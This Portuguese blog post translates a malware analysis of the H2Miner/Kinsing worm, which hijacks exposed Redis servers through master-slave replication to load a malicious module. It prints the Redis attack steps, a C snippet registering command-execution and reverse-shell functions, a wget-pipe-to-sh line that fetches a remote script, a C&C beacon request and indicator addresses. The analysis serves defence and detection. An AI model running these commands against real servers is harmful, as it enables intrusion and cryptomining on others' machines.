Um dia atrás, um dos servidores do meu projeto foi atacado por um verme semelhante. Em busca da resposta para a pergunta "o que foi isso?", encontrei um artigo incrível da equipe de Segurança da Alibaba Cloud. Como não encontrei este artigo no Habr, decidi traduzi-lo especialmente para você <3
Introdução
Recentemente, a equipe de segurança da Alibaba Cloud descobriu um surto repentino do H2Miner. Esse tipo de verme malicioso utiliza a falta de autorização ou senhas fracas para o Redis como portas de entrada para seus sistemas, após o que sincroniza seu próprio módulo malicioso com o slave através da sincronização master-slave e, finalmente, carrega esse módulo malicioso na máquina atacada e executa instruções maliciosas.
No passado, os ataques aos seus sistemas eram principalmente realizados por métodos que incluíam tarefas agendadas ou chaves SSH que eram gravadas em sua máquina após o invasor acessar o Redis. Felizmente, esse método não pode ser frequentemente utilizado devido a problemas de controle de permissões ou devido a diferentes versões de sistema. No entanto, esse método de carregar um módulo malicioso pode executar comandos do atacante diretamente ou acessar o shell, o que é perigoso para o seu sistema.
Devido ao grande número de servidores Redis disponíveis na internet (quase 1 milhão), a equipe de segurança da Alibaba Cloud, como um lembrete amigável, recomenda que os usuários não concedam acesso ao Redis pela rede e verifiquem regularmente a robustez de suas senhas, além de verificar se não estão suscetíveis a ataques de força bruta.
H2Miner
H2Miner é um botnet de mineração para sistemas baseados em Linux, que pode invadir seu sistema de várias maneiras, incluindo falta de autorização no Hadoop yarn, Docker e vulnerabilidade de execução remota de comando no Redis (RCE). O botnet opera fazendo o download de scripts maliciosos e malware para minerar seus dados, expandindo horizontalmente o ataque e mantendo comunicação de comando e controle (C&C).
Redis RCE
Pavel Toporkov compartilhou conhecimentos sobre este assunto na ZeroNights 2018. Após a versão 4.0, o Redis passou a suportar a função de carregar módulos externos, que oferece aos usuários a possibilidade de carregar arquivos .so, compilados em C, no Redis para executar comandos específicos. Embora esta função seja útil, ela contém uma vulnerabilidade em que arquivos podem ser sincronizados com o slave no modo master-slave através do fullresync. Isso pode ser explorado por um invasor para transferir arquivos .so maliciosos. Após a transferência, os criminosos carregam o módulo na instância Redis comprometida e executam qualquer comando.
Análise do worm malicioso
Recentemente, a equipe de segurança da Alibaba Cloud descobriu que o número de mineradores maliciosos H2Miner aumentou drasticamente. De acordo com a análise, o processo geral de ocorrência do ataque é o seguinte:

H2Miner utiliza RCE Redis para um ataque completo. Primeiro, os criminosos atacam servidores Redis desprotegidos ou servidores com senhas fracas.
Em seguida, eles usam o comando config set dbfilename red2.so para alterar o nome do arquivo. Após isso, os atacantes executam o comando slaveof para definir o endereço do host de replicação master-slave.
Quando a instância Redis comprometida estabelece uma conexão master-slave com o Redis malicioso pertencente ao invasor, o atacante envia o módulo infectado usando o comando fullresync para sincronizar os arquivos. Então, o arquivo red2.so será carregado na máquina comprometida. Depois, os invasores utilizam o módulo ./red2.so para carregar este arquivo .so. O módulo pode executar comandos do invasor ou iniciar uma conexão reversa (backdoor) para obter acesso à máquina comprometida.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Após executar um comando malicioso, como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, o invasor irá apagar o nome do arquivo de backup e descarregar o módulo do sistema para eliminar vestígios. No entanto, o arquivo red2.so ainda estará presente na máquina comprometida. Os usuários são recomendados a estarem atentos a esse arquivo suspeito na pasta de sua instância Redis.
Além de eliminar alguns processos maliciosos para roubo de recursos, o invasor seguiu um roteiro malicioso, carregando e executando arquivos binários para . Isso significa que o nome do processo ou o nome do diretório contendo kinsing no host pode indicar que essa máquina foi infectada por este vírus.
De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes funções:
- Carregamento e execução de arquivos
- Mineração
- Manutenção da comunicação C&C e execução de comandos do atacante

Use masscan para escaneamento externo para expandir a influência. Além disso, o endereço IP do servidor C&C está rigidamente codificado no programa, e o host atacado interagirá com o servidor de comunicação C&C por meio de solicitações HTTP, onde as informações do zumbi (servidor comprometido) são identificadas no cabeçalho HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Outros métodos de ataque

Endereços e links utilizados pelo worm
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Conselho
Primeiro, o Redis não deve estar acessível a partir da Internet e deve ser protegido por uma senha forte. Além disso, é importante que os clientes verifiquem a ausência do arquivo red2.so no diretório do Redis e a ausência de "kinsing" no nome do arquivo / processo no host.
Fonte: habr.com
